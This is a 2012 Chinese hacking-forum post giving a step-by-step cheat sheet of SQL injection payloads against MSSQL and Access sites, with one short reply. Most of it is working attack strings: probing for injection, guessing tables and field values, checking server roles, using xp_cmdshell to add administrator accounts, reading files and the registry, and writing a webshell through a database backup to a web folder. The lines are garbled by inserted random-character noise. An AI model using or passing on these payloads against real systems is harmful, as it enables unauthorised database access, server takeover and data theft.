找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2616|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 ) `6 P) @: {8 U7 ?: H/ T. w, n
1.判断是否有注入;and 1=1 ;and 1=2 " t+ n+ f' r4 s& \  A

. z. X1 }) C/ ^6 g+ }9 ?: [2.初步判断是否是mssql ;and user>0
7 C: v$ U( P3 @; g) Y* b) N" R
% M9 P3 F$ _3 Z) w% j3.注入参数是字符'and [查询条件] and ''='
; I/ T; }: J  f0 {9 b: W" z! w" ~* g/ Y  K
4.搜索时没过滤参数的'and [查询条件] and '%25'='
! J. p; N1 x: {/ I; r
& w- f6 \8 e# `* Q! ^& u5.判断数据库系统
- b3 L& g0 @! P5 J;and (select count(*) from sysobjects)>0 mssql
/ |- W$ s+ n  a;and (select count(*) from msysobjects)>0 access
( h. i1 Z4 @2 [, ~; y2 R+ K
$ ], y: k) x0 E6.猜数据库 ;and (select Count(*) from [数据库名])>0
; z# ^: x0 `  w
( x7 g8 s  D' N5 b3 a/ A9 t7.猜字段 ;and (select Count(字段名) from 数据库名)>0
- \0 m$ N- i8 o/ q. t: b* b
) \; A* T+ x: m" m8 H8 E8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ) g9 h2 P+ M( b9 h( \9 `
! H' i  ~& y7 m  N
9.(1)猜字段的ascii值(access) * l$ {( j- h1 C8 W
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
) y, n3 h" Q% w3 z7 v8 A/ O6 y" O& x4 J+ Q5 Q2 e
(2)猜字段的ascii值(mssql)
8 C0 v9 \3 I! x. i; d;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
4 `( m* b% T& {% e4 x+ G0 f8 t% J6 M$ V
10.测试权限结构(mssql) % q3 ^0 }! o1 j5 U5 }" I0 }
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: ~( a0 `+ A0 ^, u  T;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
/ ]: M2 i5 g' d- D6 g$ l;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
( @+ W+ ^: f$ y! R' v" v;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
! Q+ H9 R' J& ]' Y: X' t+ j# s! y! |;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
% u- M- a7 P! j5 E;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
/ O0 v5 D+ H" i/ q, y6 t;and 1=(select IS_MEMBER('db_owner'));--
# t  ?9 B4 {# h
" y4 Y- J! j* }* k11.添加mssql和系统的帐户 2 ?$ V3 O$ D- h; a
;exec master.dbo.sp_addlogin username;--
0 x/ K3 J) E+ u* N% E" o! p: [+ y
( W7 T6 `$ W( }$ o/ b;exec master.dbo.sp_password null,username,password;--
: B+ j" x  |9 l/ q) y% S9 C& [
6 e4 S! G% C7 Y" r/ };exec master.dbo.sp_addsrvrolemember sysadmin username;-- # K( e8 O1 l! B2 a$ t) v
4 n4 U! x  B# `
;exec master.dbo.xp_cmdshell 'net user username password 5 I% R: i- O% u8 m
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
7 s7 T' E3 t5 U% U2 o' p7 Z2 M% }; K& L% @
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2 i# A; g: p, M0 r) r* N! ~1 s
- Z: x& U+ I7 T, E3 c! {* a+ }) X1 }# q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
0 [, k5 ^5 ^2 g2 z% h7 q- A0 A( q
- @/ ]' x+ v/ \: U12.(1)遍历目录
# w1 ?1 y4 i* W4 ^; N6 U/ `3 H% R4 z  B- K) ~- i
;create table dirs(paths varchar(100), id int)
7 O0 c: |5 n& i;insert dirs exec master.dbo.xp_dirtree 'c:\'
9 \% k/ d, m9 ^, D. M+ _4 V' @;and (select top 1 paths from dirs)>0
4 N3 {% R* k7 `( \;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) # k0 j5 [* M, o* F; M# h

% c" U, f' S1 w(2)遍历目录 5 V$ K9 A2 J2 N/ y$ b% @: w
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- / y( m, k& p9 r5 [3 M3 z, C
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1 ~" v+ i7 n: p+ `: g! _+ L: u/ U
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
- i4 M2 K4 z/ y8 P! u4 z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 8 F: N% F1 V, A2 ]
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0 O& h, o, D4 Z) q7 X% T

9 Q# M8 a% b7 }: t; G- R3 ~% Y2 ~13.mssql中的存储过程
, @' r* t1 G/ e! S2 l+ N# p7 S+ k% Z+ J+ D0 R' v2 E  e* M
xp_regenumvalues 注册表根键, 子键
- ^/ w" ^1 `" U4 [) E;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
! Z! [: f& S" w; `7 s' i% b7 D. y
xp_regread 根键,子键,键值名
& G3 u' l. I$ J. G* S8 n. W8 g;exec xp_regread
7 T* W9 A* g+ v* `6 R& }' H'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ; q+ B- X* X- F! F  X- k( e5 S
2 ]$ i  b8 K6 x4 F" e0 y
xp_regwrite 根键,子键, 值名, 值类型, 值 7 ~2 [* _8 ^2 _9 `2 f$ Y  H
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 % s$ T1 \6 f# j/ [
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 4 F! {* q2 O! Z9 K* U5 G

8 s2 C% i+ J/ u8 k; z  B: Yxp_regdeletevalue 根键,子键,值名
' i7 U4 D, ^2 G0 U
, Y3 I9 V7 B. u: I0 \& a! Rexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ) j6 m: Q% h8 S- r. O7 S. S% K1 G

/ O$ z! e# R8 e" `) Zxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
& T- x- Y5 e1 d. b; X; u+ i" |1 y0 V% F# o! P
14.mssql的backup创建webshell ( A4 f8 B9 x9 `6 f. R: k( o  |
use model % N! A3 Y, _4 g( ^. d
create table cmd(str image); / i) B: l( V& F& c: V8 G
insert into cmd(str) values (''); 6 G3 g6 U$ q8 t  s% w! T3 P2 _
backup database model to disk='c:\l.asp';
2 m0 U# Q8 O) d$ l$ H9 [
, c$ @4 g! `/ y9 P9 D/ j& j15.mssql内置函数
: y$ g. d8 W+ p* B+ x;and (select @@version)>0 获得Windows的版本号 4 ^" |5 }, X4 |& ]6 D
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ! X- V* a5 H3 x6 W/ ~! Z# E+ }; i
;and (select user_name())>0 爆当前系统的连接用户 # U. }9 g  g6 L. U! A
;and (select db_name())>0 得到当前连接的数据库 " K; H" G- P0 N) Y
, M# O  G1 z$ M& m5 g# V0 Z
16.简洁的webshell
' z4 W8 h" d' h3 D% }( o/ V! j  |5 O) J' ]/ D4 d) F/ F8 W5 }
use model 8 h/ f; w- y: H; q" U# h/ y

" ], _1 n' S% p! O3 |' Qcreate table cmd(str image); $ v. x( h4 V5 Z: Q5 \, y/ S

' R! ^7 g! q0 B  G- X$ ainsert into cmd(str) values ('');
0 o, c% ^$ Y1 @1 F# a  S" Q, H- f, `$ f' G% C
backup database model to disk='g:\wwwtest\l.asp';
! r8 m/ L% w  v2 ~1 q: \2 ^
5 |; P  I% N( m4 _, }3 B; Y* {
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表